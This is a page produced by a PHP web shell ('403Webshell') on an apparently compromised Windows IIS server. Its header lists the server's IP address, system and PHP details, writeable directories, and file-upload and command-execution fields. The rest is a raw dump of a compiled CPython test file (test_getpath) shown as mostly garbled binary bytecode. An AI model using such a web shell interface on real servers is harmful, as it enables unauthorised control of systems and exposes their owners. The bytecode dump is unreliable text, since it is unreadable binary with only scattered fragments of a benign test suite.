403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_getpath.cpython-315.opt-1.pyc
R
>lqj�c��]PHs]PHs]PHs]PHs]PHs]QHGs\O\2O2OOOQ*O2sQQ\O 2s\Q:-QPaQPaQPaQ	PaQ
PaQPaQ]	aQ
]aQPaQPaQPaQPaQPaQPaQPaQPaQPaQPaQPaQPaQPaQPaQPas\Q:-QPaQPaQPaQ PaQ!PaQ"PaQ#PaQ$PaQ%PaQ&PaQ'PaQ(PaQ)PaQ*]aQ+PaQ,PaQ-PaQ.]aQ/]aQ0]asQ1Q2\2sQ3Q42sQ5Q6\2sQ;Q7ksQ;Q8ksQ9sP!\
c]QH:Gs\2sK�h9h)<�)�verbosezModules/getpath.py)�get_getpath_codeobjectc��``�\sQs]snU1QksQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsQsQsQsQsQsQsQsQsQsQsQsQs Us!U9s"!)�MockGetPathTestsc�::�[RU_U-U@PUmP!�N)�super�__init__�maxDiff)�self�a�kw�	__class__s&*,��&C:\Python315\\Lib\test\test_getpath.pyr	�MockGetPathTests.__init__s���
���!�"�r�"����c	���[QQQ5oUOQ2UOQ2UOQ2[	QQQQ],QNQ5o[V2oUO
V#2P!)z,Test a 'standard' install layout on Windows.�C:\Python\python.exe��argv0�real_executable�C:\Python\Lib\os.py�C:\Python\DLLs�	C:\Python��
executable�base_executable�prefix�exec_prefix�module_search_paths_set�module_search_paths��C:\Python\python98.zipr�
C:\Python\Libr��MockNTNamespace�add_known_xfile�add_known_file�
add_known_dir�dict�getpath�assertEqual�r�ns�expected�actuals&   r�test_normal_win32�"MockGetPathTests.test_normal_win32sy��
�)�3�
��	���2�3�
���0�1�
���*�+��.�3��$�$%�!�

����&������*rc���[QQQ5oUOQ2UOQ2UOQP,2[QQQQQ]],QNQ5o[	V2oUOV#2P!)z(Test an in-build-tree layout on Windows.�#C:\CPython\PCbuild\amd64\python.exer�C:\CPython\Lib\os.py�'C:\CPython\PCbuild\amd64\pybuilddir.txt�
C:\CPython�rrrr�build_prefix�_is_python_buildrr �z%C:\CPython\PCbuild\amd64\python98.zipzC:\CPython\PCbuild\amd64�C:\CPython\Lib�r%r&r'r)r*r+r,s&   r�test_buildtree_win32�%MockGetPathTests.test_buildtree_win320s���
�8�B�
��	���A�B�
���1�2�
���D�r�d�K��=�B� �%�&��$%�!�

����&������*rc�4�[QQQQ5oUOQ2UOQ2UOQ2UOQ2UOQQ,2[	QQQQQ	Q	],QNQ
5o[V2oUO
V#2P!)z�Test a venv layout on Windows.

This layout is discovered by the presence of %__PYVENV_LAUNCHER__%,
specifying the original launcher executable. site.py is responsible
for updating prefix and exec_prefix.
rzC:\venv\Scripts\python.exe)r�ENV___PYVENV_LAUNCHER__rrrzC:\venv\pyvenv.cfgzhome = C:\PythonzC:\venvr�rrrr�base_prefix�base_exec_prefixrr r!r$r,s&   r�test_venv_win32� MockGetPathTests.test_venv_win32Js����)�$A�3�
��
	���2�3�
���8�9�
���0�1�
���*�+�
���/��2
�	��4��"�3�$�)�$%�!�
����&������*rc��Qo[UPUQ0QUQ0Q-2o[QQUQ5oUOQ2UOQ2UO	Q	2[],QNQ
5o[
V42oUOVE2]UQ*Q$]UQ*Q
$PUQ*Q$[],QNQ
5o[
V42oUOVE2P!)z�Test registry lookup on Windows.

On Windows there are registry entries that are intended for other
applications to register search paths.
z1HKLM\Software\Python\PythonCore\9.8-XY\PythonPathz\Path1�	path1-dirz
\Path1\Subdirznot-subdirsr)rr�winregrr)rr �config�use_environmentrr )r"rGrr#rr!)�
MockWinregr%r&r'r(r)r*r+)r�hkeyrHr-r.r/s&     r�test_registry_win32�$MockGetPathTests.test_registry_win32os���D����$��f�G��k��f�O�$�m�
���
�)�3��
��
	���2�3�
���0�1�
���*�+��$%�!�

����&������*�*+��8��&�'�23��8��.�/�.2��8��*�+��$%�!�
����&������*rc	�,�[QQQ5oUOQ2UOQ2UOQQ2UOQ2UO	Q2[QQQQ],QNQ5o[
V2oUOV#2P!)	z8Test a 'standard' install layout via symlink on Windows.�C:\LinkedFrom\python.exerrrrrrr!)r%r&�add_known_linkr'r(r)r*r+r,s&   r�test_symlink_normal_win32�*MockGetPathTests.test_symlink_normal_win32�s���
�-�3�
��	���6�7�
���2�3�
���5�7N�O�
���0�1�
���*�+��2�7��$�$%�!�

����&������*rc�4�[QQQ5oUOQ2UOQ2UOQQ2UOQ2UOQP,2[	QQQQQ]],QNQ5o[V2oUO
V#2P!)	z4Test an in-build-tree layout via symlink on Windows.rPr3rr4r5r6r7r:)r%r&rQr'r)r*r+r,s&   r�test_symlink_buildtree_win32�-MockGetPathTests.test_symlink_buildtree_win32�s���
�-�B�
��	���6�7�
���A�B�
���5�7]�^�
���1�2�
���D�r�d�K��2�7� �%�&��$%�!�

����&������*rc���[QQQQ5oUOQ2UOQ2UOQP,2[QQQQQ]],QNQ5o[	V2oUOV#2P!)	zETest an out-of-build-tree layout on Windows with PYTHONHOME override.zC:\Out\python.exer6)rr�ENV_PYTHONHOMEr4zC:\Out\pybuilddir.txtzC:\r7)zC:\Out\python98.zipzC:\Outr;r<r,s&   r�test_buildtree_pythonhome_win32�0MockGetPathTests.test_buildtree_pythonhome_win32�s���
�&�0�(�
��
	���/�0�
���1�2�
���2�R�D�9��+�0� �%� ��$%�!�
��"��&������*rc	���[QQQ5oUOQ2UOQ2[QQQQ],QNQ5o[	V2oUOV#2P!)z0Test a layout on Windows with no DLLs directory.rrrrr)r"rr#r<r,s&   r�test_no_dlls_win32�#MockGetPathTests.test_no_dlls_win32�sj��
�)�3�
��	���2�3�
���0�1��.�3��$�$%�!�

����&������*rc	���[QQQQ5oUOQ2UOQ2UOQ2[	QQQQ],Q	NQ5o[V2oUO
V#2P!)
z(Test a 'standard' install layout on *nix�/usr�python�/usr/bin��PREFIXr�ENV_PATH�/usr/bin/python�/usr/lib/python9.8/os.py�/usr/lib/python9.8/lib-dynloadr�z/usr/lib/python98.zipz/usr/lib/python9.8rg��MockPosixNamespacer&r'r(r)r*r+r,s&   r�test_normal_posix�"MockGetPathTests.test_normal_posixs|��
����
��
	���,�-�
���4�5�
���9�:��(�-���$%�!�

����&������*rc�2�[QQQ5oUOQ2UOQ2UOQQ,2UOQ2UOQ2[	QQQQQ	]],QNQ
5o[V2oUO
V#2P!)��Test an in-build-tree layout on POSIX.

This layout is discovered from the presence of pybuilddir.txt, which
contains the relative path from the executable's directory to the
platstdlib path.
�/home/cpython/python�
/usr/local�rrc�/usr/local/bin/python�/home/cpython/pybuilddir.txt�build/lib.linux-x86_64-9.8�/home/cpython/Lib/os.py�/home/cpython/lib-dynload�
/home/cpython�rrrrr8r9rr ��/usr/local/lib/python98.zip�/home/cpython/Libz(/home/cpython/build/lib.linux-x86_64-9.8rir,s&   r�test_buildpath_posix�%MockGetPathTests.test_buildpath_posix%s��� �)��
��	���1�2�
���2�3�
���8�;W�:X�Y�
���3�4�
���4�5��-��$�2�(��$%�!�

����&������*rc�4�[QQQQ5oUOQ2UOQ2UOQ2UOQ2UOQ	Q
,2[	QQQQQQ],Q
NQ5o[V2oUO
V#2P!)�Test a venv layout on *nix.r`r_�/venv/bin:/usr/bin�rrcrdre�/venv/bin/pythonrfrg�/venv/pyvenv.cfg�home = /usr/bin�/venvrArhrir,s&   r�test_venv_posix� MockGetPathTests.test_venv_posixFs���
���)�
��
	���,�-�
���-�.�
���4�5�
���9�:�
���,��/
�	��)���-��#�$%�!�

����&������*rc��[QQQQ5oUOQ2UOQ2UOQQ2UOQ,2[	QQQQ5o[V2oUO
V#2P!)z/venv/bin/python3r_rar��/usr/bin/python3r�r�)rrrB)rjr&rQr'r)r*r+r,s&   r� test_venv_posix_without_home_key�1MockGetPathTests.test_venv_posix_without_home_keyes���
�%���
��	���-�.�
���.�/�
���-�/A�B�
���,�/
�	��*���
��
��&������*rc�X�[QQQQ5oUOQ2UOQ2UOQQ2UOQ2UO	Q2UOQ	Q
,2[QQQQQQ],Q
NQ5o[
V2oUOV#2P!)rr`r_r�r�r�r�rfrgr�r�r�rArh�rjr&rQr'r(r)r*r+r,s&   r�test_venv_changed_name_posix�-MockGetPathTests.test_venv_changed_name_posixzs���
���)�
��
	���-�.�
���-�.�
���,�.@�A�
���4�5�
���9�:�
���,��/
�	��)���.��#�$%�!�

����&������*rc�X�[QQQQ5oUOQ2UOQ2UOQQ2UOQ2UO	Q2UOQQ	,2[QQ
Q
QQQ],Q
NQ5o[
V2oUOV#2P!)zCTest a venv created from non-installed python has correct zip path.r�r_r�r�z!/path/to/non-installed/bin/pythonz*/path/to/non-installed/lib/python9.8/os.py�0/path/to/non-installed/lib/python9.8/lib-dynloadr�zhome = /path/to/non-installedr�z/path/to/non-installedrA)z'/path/to/non-installed/lib/python98.zipz$/path/to/non-installed/lib/python9.8r�r�r,s&   r�&test_venv_non_installed_zip_path_posix�7MockGetPathTests.test_venv_non_installed_zip_path_posix�s���
�$��)�
��
	���>�?�
���-�.�
���,�=�	?�
���F�G�
���K�L�
���,�,�/
�	��)���?�0�5�$%�!�

����&������*rc�4�[QQQQ5oUOQ2UOQ2UOQ2UOQ2UOQ	Q
,2[	QQQQQQ],Q
NQ5o[V2oUO
V#2P!)zETest a venv --copies layout on *nix that lacks a distributed 'python'r`r_r�r�z/usr/bin/python9r�rfrgr�r�r�rArhrir,s&   r�!test_venv_changed_name_copy_posix�2MockGetPathTests.test_venv_changed_name_copy_posix�s���
���)�
��
	���-�.�
���-�.�
���4�5�
���9�:�
���,��/
�	��)���.��#�$%�!�

����&������*rc	�,�[QQQ5oUOQ2UOQ2UOQQ2UOQ2UO	Q2[QQQQ],QNQ5o[
V2oUOV#2P!)	z4Test a 'standard' install layout via symlink on *nixr_�/linkfrom/python)rcrrerfrgrrhr�r,s&   r�test_symlink_normal_posix�*MockGetPathTests.test_symlink_normal_posix�s���
��$�
��	���-�.�
���,�-�
���,�.?�@�
���4�5�
���9�:��)�.���$%�!�

����&������*rc�x�[QQQ5oUOQ2UOQ2UOQQ2UOQ2UOQQ,2UOQ2UO	Q	2[QQQQQ
]],QNQ5o[
V2oUOV#2P!)
rnr�rprqrorrrsrtrurvrwrxryr�r,s&   r�test_symlink_buildpath_posix�-MockGetPathTests.test_symlink_buildpath_posix�s��� �%��
��	���-�.�
���1�2�
���,�.D�E�
���2�3�
���8�;W�:X�Y�
���3�4�
���4�5��)��$�.�(��$%�!�

����&������*rc	���[QQQQ5oUOQ2UOQ2UOQ2[	QQQQ],Q	NQ5o[V2oUO
V#2P!)
z.Test an install with custom platlibdir on *nixr_r��lib64)rcr�
PLATLIBDIRrez/usr/lib64/python9.8/os.py� /usr/lib64/python9.8/lib-dynloadr)z/usr/lib64/python98.zipz/usr/lib64/python9.8r�rir,s&   r�test_custom_platlibdir_posix�-MockGetPathTests.test_custom_platlibdir_posixs|��
��$��
��
	���,�-�
���6�7�
���;�<��)�.���$%�!�

����&������*rc��[QQ]QQQQQQ5oUOQ2UOQ2UOQ2UOQ2[	QQQQQQ],Q
NQ	5o[V2oUO
V#2P!)zuTest framework layout on macOS

This layout is primarily detected using a compile-time option
(WITH_NEXT_FRAMEWORK).
�darwin�\/Library/Frameworks/Python.framework/Versions/9.8/Resources/Python.app/Contents/MacOS/Python�1/Library/Frameworks/Python.framework/Versions/9.8�?/Library/Frameworks/Python.framework/Versions/9.8/bin/python9.8�8/Library/Frameworks/Python.framework/Versions/9.8/Python��os_namer�WITH_NEXT_FRAMEWORKrc�EXEC_PREFIXr@r�library�K/Library/Frameworks/Python.framework/Versions/9.8/lib/python9.8/lib-dynload�E/Library/Frameworks/Python.framework/Versions/9.8/lib/python9.8/os.pyrA�zB/Library/Frameworks/Python.framework/Versions/9.8/lib/python98.zipz?/Library/Frameworks/Python.framework/Versions/9.8/lib/python9.8r�)rjr&r(r'r)r*r+r,s&   r�test_framework_macos�%MockGetPathTests.test_framework_macos0s��� ��p� !�F�K�$e�z�N�	
��	���y�z�
���\�]�
���f�g�
���a�b�
�X�F�K�]�K�P�$%�!�

����&������*rc�"�[QQ]QQQQQPPPPPQ5
oUOQ2UOQ2UOQ2UOQ2[QQQQQQ],Q
NQ	5o[	V2oUOV#2P!)z�Test framework layout on macOS with alternate framework name

``--with-framework-name=DebugPython``

This layout is primarily detected using a compile-time option
(WITH_NEXT_FRAMEWORK).
�f/Library/Frameworks/DebugPython.framework/Versions/9.8/Resources/Python.app/Contents/MacOS/DebugPythonr��6/Library/Frameworks/DebugPython.framework/Versions/9.8�D/Library/Frameworks/DebugPython.framework/Versions/9.8/bin/python9.8�B/Library/Frameworks/DebugPython.framework/Versions/9.8/DebugPython)
rr�r�rcr�r@rr��
PYTHONPATHrX�ENV_PYTHONEXECUTABLE�executable_dir�
py_setpath�P/Library/Frameworks/DebugPython.framework/Versions/9.8/lib/python9.8/lib-dynload�J/Library/Frameworks/DebugPython.framework/Versions/9.8/lib/python9.8/os.pyrA�zG/Library/Frameworks/DebugPython.framework/Versions/9.8/lib/python98.zipzD/Library/Frameworks/DebugPython.framework/Versions/9.8/lib/python9.8r�)rjr&r(r)r*r+r,s&   r�test_alt_framework_macos�)MockGetPathTests.test_alt_framework_macosYs��� �z�� !�K�P�$j�E�X���!%���
��	���D�	E�
���a�b�
���k�l�
���g�h��]�K�P�b�P�U�$%�!�

����&������*rc��Qo[QQ]QQUQ0QQQ5oUOU2UOUQ02UOUQ	02UOUQ
02UOUQ02UOQ2UOQ2UOQ2UOQ
2UOUQ0Q,2[	UQ0UUQQQ],QNQ5o[V#2oUO
V42P!)z<Test a venv layout on macOS using a framework build
        �/tmp/workdir/venvr�r�r��/bin/pythonr�r��/bin�/lib�/lib/python9.8r�r�r��/pyvenv.cfgz<home = /Library/Frameworks/Python.framework/Versions/9.8/binrAr��rjr(r&r'r)r*r+�r�	venv_pathr-r.r/s&    r�test_venv_framework_macos�*MockGetPathTests.test_venv_framework_macos�s8��(�	�
��p� !�F�K�'0�k��$=�z�N�	
��	����#�
���I�;�d�+�,�
���I�;�d�+�,�
���I�;�n�5�6�
���i�[��4�5�
���y�z�
���\�]�
���f�g�
���b�c�
���Y�K�{�3�J�6
�	��#��K�0��!�]�K�P�$%�!�

����&������*rc��Qo[QQ]QQUQ0QQQ5oUOU2UOUQ02UOUQ	02UOUQ
02UOUQ02UOQ2UOQ2UOQ2UOQ
2UOUQ0Q,2[	UQ0UUQQQ],QNQ5o[V#2oUO
V42P!)z[Test a venv layout on macOS using a framework build

``--with-framework-name=DebugPython``
r�r�r�r�r�r�r�r�r�r�r�r�r�r�zAhome = /Library/Frameworks/DebugPython.framework/Versions/9.8/binrAr�r�r�s&    r�test_venv_alt_framework_macos�.MockGetPathTests.test_venv_alt_framework_macos�sA��
(�	�
��z� !�K�P�'0�k��$=�E�X�	
��	����#�
���I�;�d�+�,�
���I�;�d�+�,�
���I�;�n�5�6�
���i�[��4�5�
���D�	E�
���a�b�
���k�l�
���g�h�
���Y�K�{�3�O�6
�	��#��K�0��!�b�P�U�$%�!�

����&������*rc�8�[QQQQQQ5oUOQ2UOQ2UOQ2UOQ2UOQQ	,2[	QQ
Q
QQQ],QNQ5o[V2oUO
V#2P!)
z�Test a venv layout on macOS.

This layout is discovered when 'executable' and 'real_executable' match,
but $__PYVENV_LAUNCHER__ has been set to the original process.
r�rer_z/framework/Python9.8/python)r�rrcr@rrfrgz/framework/Python9.8/pyvenv.cfgr�z/framework/Python9.8rArhrir,s&   r�test_venv_macos� MockGetPathTests.test_venv_macos�s��� ��#��$A�-�
��	���,�-�
���8�9�
���4�5�
���9�:�
���;��>
�	��4�)�.�-��#�$%�!�

����&������*rc	�2�[QQQQQQ5oUOQ2UOQ2UOQQ2UOQ2UO	Q	2[QQQQ],QNQ
5o[
V2oUOV#2P!)z5Test a 'standard' install layout via symlink on macOSr�r_r`�/linkfrom:/usr/binr�)r�rcrrdrrerfrgrrhr�r,s&   r�test_symlink_normal_macos�*MockGetPathTests.test_symlink_normal_macoss���
����)�.�

��	���-�.�
���,�-�
���,�.?�@�
���4�5�
���9�:��)�.���$%�!�

����&������*rc�~�[QQQQQQ5oUOQ2UOQ2UOQQ2UOQ2UOQ	Q
,2UOQ2UO	Q2[QQQQQ
]],QNQ5o[
V2oUOV#2P!)z�Test an in-build-tree layout via symlink on macOS.

This layout is discovered from the presence of pybuilddir.txt, which
contains the relative path from the executable's directory to the
platstdlib path.
r�r`r�rpr�)r�rrdrcrrorrrszbuild/lib.macos-9.8rurvrwrx)rzr{z!/home/cpython/build/lib.macos-9.8r�r,s&   r�test_symlink_buildpath_macos�-MockGetPathTests.test_symlink_buildpath_macos#s��� ���)��.�

��	���-�.�
���1�2�
���,�.D�E�
���2�3�
���8�;P�:Q�R�
���3�4�
���4�5��)��$�.�(��$%�!�

����&������*rc��[QQQQ5oQUQ*Q$[QQ5o[V2oUOV#2P!)	z>Test the explicitly set stdlib_dir in the config is respected.r_r`rarbz/custom_stdlib_dirrI�
stdlib_dir)r�)rjr)r*r+r,s&   r�test_explicitly_set_stdlib_dir�/MockGetPathTests.test_explicitly_set_stdlib_dirJsL��
����
��
&:��8��\�"��+�
����&������*rc
��[QQQQ5oUOQ2UOQQ,2UOQ2UOQ2[	QQ	Q	QQ],QNQ
5o[V2oUO
V#2P!)zLMake sure prefix/exec_prefix still point to the venv if PYTHONHOME was used.r�r_z/pythonhome)rrcrXr�r�z/pythonhome/lib/python9.8/os.py�%/pythonhome/lib/python9.8/lib-dynloadr�)rrrrBrCrr )z/pythonhome/lib/python98.zipz/pythonhome/lib/python9.8r�rir,s&   r�test_PYTHONHOME_in_venv�(MockGetPathTests.test_PYTHONHOME_in_venvXs���
�$��(�
��	���-�.�
���,��/
�	�	���;�<�
���@�A��)���%�*�$%�!�
����&������*r)r
)#�__name__�
__module__�__qualname__�__firstlineno__r	r0r=rDrMrRrUrYr\rkr|r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��__static_attributes__�__classdictcell__�
__classcell__�r�
__classdict__s@@rrrs������+�2+�4#+�J/+�b+�6+�8+�<+�.+�2+�B+�>+�*+�@+�B+�>+�4!+�F+�2'+�R-+�^)+�V++�Z#+�J+�<%+�N+�+�+rrrcr�r��VPATHr��
PYDEBUGEXT�
VERSION_MAJOR�
VERSION_MINOR�
ABI_THREAD�PYWINVER�
EXE_SUFFIXrdrXr�r@rr�rr�r�rHr8�venv_prefix�home�
platlibdir�
pythonpath�program_namerrrBrCrrr��platstdlib_dirr r�pythonpath_env�argv�	orig_argv�isolatedrJ�use_sitec�``�\sQsQsnQPQP-U1QkksQQksQsQsQsQ	s	Q
s
QsQsQ
s
QsQsQsQsQsQsQsQQksQsQsUsU9s!)r%�rrIc�^:�UO[2[O2UQ$QUQ$QUQ$QUQ$QUQ$[RU_U-U@U%cU,UQ*Q	$U%cUQ*OU2-Um-Um[2Um	,Um
P!)
rI�ntr��DLLsr�z9.8-XYr�z..\..r�r�)�update�DEFAULT_NAMESPACE�DEFAULT_CONFIG�copyrr	�_files�_links�set�_dirs�	_warnings�rrrIrr
rs&$$*,�rr	�MockNTNamespace.__init__�s�������%�&�'�,�,�.��X����Y��#��\��#��Z�� ��W�
�
���!�"�r�"��+0�'�D��N�;�'����N�!�!�&�)��������U��
���rc��[S9%fQ2UOUO2$UOUO	Q2]*2P!)�\�)�listr�casefoldr(�
rpartition�r�path�liness&&&rr'�MockNTNamespace.add_known_file�s=��'+�E�K�K�R�'8����D�M�M�O�$����4�?�?�4�0��3�4rc�*�UOU2P!r)r'�rrs&&rr&�MockNTNamespace.add_known_xfile�s�����D�!rc�@�V OUO2$P!r)rr�rr�targets&&&rrQ�MockNTNamespace.add_known_link�s��'-���D�M�M�O�$rc��UOQ2O2oU%c6UOOU2UO	Q2]*oJ=P!�r)�rstriprr
�addr�rr�ps&& rr(�MockNTNamespace.add_known_dir�sD���K�K���&�&�(����J�J�N�N�1�����T�"�1�%�A�rc�R�[V2![c[S2Pgh9hr��getattr�AttributeError�KeyError�r�keys&&r�__missing__�MockNTNamespace.__missing__��-��	*��4�%�%���	*��3�-�T�)�	*���
�	&�&c�Z�UOU2%cU!UOQU2!)zC:\Absolute��isabs�joinpathrs&&r�abspath�MockNTNamespace.abspath�s'���:�:�d����K��}�}�^�T�2�2rc�4�UOQ2]*!r �rrs&&r�basename�MockNTNamespace.basename�s�����t�$�Q�'�'rc��UOQ2OQ2]*oUQ*Q6Xc
UQ*!U!)r:�NN�:�r!r)rr�names&& r�dirname�MockNTNamespace.dirname�s:���{�{�4� �+�+�D�1�!�4����8�s�?��$�;���rc�^�UO2OUO22!r)r�endswith�rr�suffixs&&&r�	hassuffix�MockNTNamespace.hassuffix�s ���}�}��'�'����(9�:�:rc��UQ*Q6H!):r<�Nz:\rrs&&rr3�MockNTNamespace.isabs�s���C�y�E�!�!rc�p�[%c[QUQ2UO2UO7!��Check ifzis a dir)r�printrr
rs&&r�isdir�MockNTNamespace.isdir�s(���7��*�d�J�/��}�}��$�*�*�,�,rc�p�[%c[QUQ2UO2UO7!�rMz	is a file)rrNrrrs&&r�isfile�MockNTNamespace.isfile�s(���7��*�d�K�0��}�}��$�+�+�-�-rc���[%c[QUQ2UO2oVO79%c*UO	Q2]*QO26H!�rMzis a module�.�py�rrNrrrrs&&r�ismodule�MockNTNamespace.ismodule�sL���7��*�d�M�2��}�}����{�{�"�Q�Q�t���s�';�A�'>�$�-�-�/�'Q�Qrc���[%c[QUQ2UO2oVO79%c*UO	Q2]*QO26H!)rMzis a executablerW�exerYrs&&r�isxfile�MockNTNamespace.isxfile�sN���7��*�d�$5�6��}�}����{�{�"�R�R�t���s�';�A�'>�%�.�.�BR�'R�Rrc�V�[O[OU2!r)�ntpath�normpath�joinrs&*rr4�MockNTNamespace.joinpath�s�����v�{�{�D�1�2�2rc�~�UOUO2*![c[S2Pgh9hr)rrr*�FileNotFoundErrorrs&&r�	readlines�MockNTNamespace.readliness8��	4��;�;�t�}�}��/�/���	4�#�D�)�t�3�	4�s� $�	<�<c�\�[%c
[QU2UOUO2*oUe[2oL UO2U7c[
Q2gUOUO22UOV22![cSt!h9h�zRead link fromz
circular link)	rrNrrr*r	�OSErrorr"�realpath�rr�_trail�links&&& rrl�MockNTNamespace.realpaths����7��"�D�)�	��;�;�t�}�}��/�D��>��U�F�
�]�]�_��
&��/�*�*��
�
�4�=�=�?�#��}�}�T�*�*���	��K�	�s�!B�	B+�%B+�*B+c�p�UOOU2[%c[U2P!P!r�r�appendrrN�r�messages&&r�warn�MockNTNamespace.warn�%�������g�&��7��'�N�r)r
rrrr�r�r�r�r�r	r'r&rQr(r-r5r9r@rFr3rOrSrZr^r4rgrlrvr�r�r�r�s@@rr%r%�sy�������d��"5�"�.�&�*�3�
(��;�"�-�
.�
R�S�3�4�+��rr%c�Z`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
sQs
QsUsP!)
rKi�HKLM�HKCUc��UO2TTt-tFDvq#UO2UaJ	tooUm-UmP!ttoohr)�itemsr�keys�open)rr�k�vs&&  rr	�MockWinreg.__init__ s6��15����>����Q�Z�Z�\�1�_��>��	���	��?s�Ac��Q!)z<MockWinreg>r�rs&r�__repr__�MockWinreg.__repr__$s��rc�.�[U[U22!r)�
isinstance�type)r�others&&r�__eq__�MockWinreg.__eq__'s���%��d��,�,rc�.�[UO2!r)rr�r�s&r�	open_keys�MockWinreg.open_keys*s���D�I�I��rc��[%c[QUQUQ02UQU0O2oV0O7c3UOOU]2]*UOU$U![
2g)z
OpenKeyEx(�, �)r)rrNrrr��getrf)rrL�subkeyr,s&&& r�	OpenKeyEx�MockWinreg.OpenKeyEx-sp���7��J�t�f�B�v�h�a�0�1���b���!�*�*�,���)�)��!�Y�Y�]�]�3��2�Q�6�D�I�I�c�N��J��!�!rc�"�[%c[QUQ02UO2oVO7c[	Q2gUOU99*]*tt$UOU*%fUOUP!P!)z	CloseKey(r��key is not open)rrNrr��RuntimeError)rrLs&&r�CloseKey�MockWinreg.CloseKey6sh���7��I�d�V�1�%�&��}�}����y�y� ��0�1�1��	�	�$��1����y�y�����	�	�$��rc��[%c[QUQUQ02UO2oVO7c[	Q2gUQ0o[UO2Tt,tFD)pDOU2%fJU[U2PMJ+	ooSTt,tFDoQU7fJUMJ	toUQ$[U2FDvqgVb6XfJ
UOU2t!	[Q2gttohttoh)zEnumKey(r�r�r�r:NNNzend of enumeration)rrNrr�r��sortedr�
startswith�len�	enumerate�removeprefixrk)rrL�irr��subkeys�j�ns&&&     r�EnumKey�MockWinreg.EnumKey@s����7��H�T�F�"�Q�C�q�)�*��}�}����y�y� ��0�1�1��6����,2�4�9�9�,=�V�,=�q���f�AU�?�1�S��[�\�?�,=��V�!(�:��A�D��M�a�a��:���
��g�&�D�A��v��~�~�f�-�-�'��*�+�+��W��:s�&C2�C2�C7�,C7c�.�[%c[QUQUQ02UO2oVO7c[	Q2gU%cUO2oUQU0oUO
U*![c[2gh9h)zQueryValue(r�r�r�r)rrNrr�r�rr*rk)rrLr�s&&&r�
QueryValue�MockWinreg.QueryValueNs����7��K��v�R��x�q�1�2��}�}����y�y� ��0�1�1���_�_�&�F��V�2�f�X�&�D�	��9�9�T�?�"���	��)�O�	�s�+A>�>	B�B)rr�)r�r�r�r��HKEY_LOCAL_MACHINE�HKEY_CURRENT_USERr	r�r�r�r�r�r�r�r�r�)r�s@rrKrKs>����������-��"� �,��rrKc�``�\sQsQsnQPQP-U1QkksQQksQsQsQsQ	s	Q
s
QsQsQ
s
QsQsQsQsQsQsQsQQksQsQsUsU9s!)rji]rrIc�r:�UO[2[O2UQ$QUQ$QUQ$]UQ$[RU_U-U@U%cU,UQ*Q$U%cUQ*OU2-Um[2Um-Um	[2Um
,UmP!)rI�posixr��libr�r�r�)rrrrrr	rr	�_xfilesrr
rrs&$$*,�rr	�MockPosixNamespace.__init__^s�������%�&�'�,�,�.��X��!��Y��"��\��&'��
"�#�
���!�"�r�"��+0�'�D��N�;�'����N�!�!�&�)�����u�������U��
���rc��[S9%fQ2UOU$UOUOQ2]*2P!)�/r)rrr(rrs&&&rr'�!MockPosixNamespace.add_known_fileos7�� ����"�-����D�����4�?�?�3�/��2�3rc�`�UOU2UOOU2P!r)r'r�r"rs&&rr&�"MockPosixNamespace.add_known_xfiless"�����D�!�������rc�$�V OU$P!r)rrs&&&rrQ�!MockPosixNamespace.add_known_linkws��"���D�rc��UOQ2oU%c6UOOU2UOQ2]*oJ=P!�r�)r!r
r"rr#s&& rr(� MockPosixNamespace.add_known_dirzs;���K�K������J�J�N�N�1�����S�!�!�$�A�rc�R�[V2![c[S2Pgh9hrr'r+s&&rr-�MockPosixNamespace.__missing__�r/r0c�Z�UOU2%cU!UOQU2!)z	/Absoluter2rs&&rr5�MockPosixNamespace.abspath�s'���:�:�d����K��}�}�[�$�/�/rc�4�UOQ2]*!r�r8rs&&rr9�MockPosixNamespace.basename�s�����s�#�A�&�&rc�R�UOQ2OQ2]*!r�r>rs&&rr@�MockPosixNamespace.dirname�s!���{�{�3��*�*�3�/��2�2rc�&�UOU2!r)rCrDs&&&rrF�MockPosixNamespace.hassuffix�s���}�}�V�$�$rc��UQ*Q6H!):rr<Nr�rrs&&rr3�MockPosixNamespace.isabs�s���C�y�C��rc�R�[%c[QUQ2VO7!rL)rrNr
rs&&rrO�MockPosixNamespace.isdir�s ���7��*�d�J�/��z�z�!�!rc�R�[%c[QUQ2VO7!rR)rrNrrs&&rrS�MockPosixNamespace.isfile�s ���7��*�d�K�0��{�{�"�"rc��[%c[QUQ2VO79%cUOQ2]*Q6H!rV)rrNrrrs&&rrZ�MockPosixNamespace.ismodule�s;���7��*�d�M�2��{�{�"�F�F�t���s�';�A�'>�$�'F�Frc�R�[%c[QUQ2VO7!)rMzis an xfile)rrNr�rs&&rr^�MockPosixNamespace.isxfile�s ���7��*�d�M�2��|�|�#�#rc�V�[O[OU2!r)�	posixpathrbrcrs&*rr4�MockPosixNamespace.joinpath�s���!�!�)�.�.�$�"7�8�8rc�b�UOU*![c[S2Pgh9hr)rr*rfrs&&rrg�MockPosixNamespace.readlines�s2��	4��;�;�t�$�$���	4�#�D�)�t�3�	4�s��	.�.c��[%c
[QU2UOU*oUe[	2oLV27c[Q2gUO
U2UOV22![cSt!h9hrj)rrNrr*r	rkr"rlrms&&& rrl�MockPosixNamespace.realpath�st���7��"�D�)�	��;�;�t�$�D��>��U�F�
�^��/�*�*��
�
�4���}�}�T�*�*���	��K�	�s�A0�0	B�:B�?Bc�p�UOOU2[%c[U2P!P!rrrrts&&rrv�MockPosixNamespace.warn�rxr)r
rrrr�rryr�s@@rrjrj]sx�������d��"4��#�%�*�0�
'�3�%� �"�
#�
G�
$�
9�4�+��rrjc�|�,o[U2FDsoUQ*Q6XcJUQ6Xc[V*V*QQ5J6VA7fJ>V*V*6wfJSUOV@U*V*12Ju	U%fP![QU22oQ[	U2]*U**o[
%coSFDevqGoU%c.[
QOV$OU2VvU22J;[
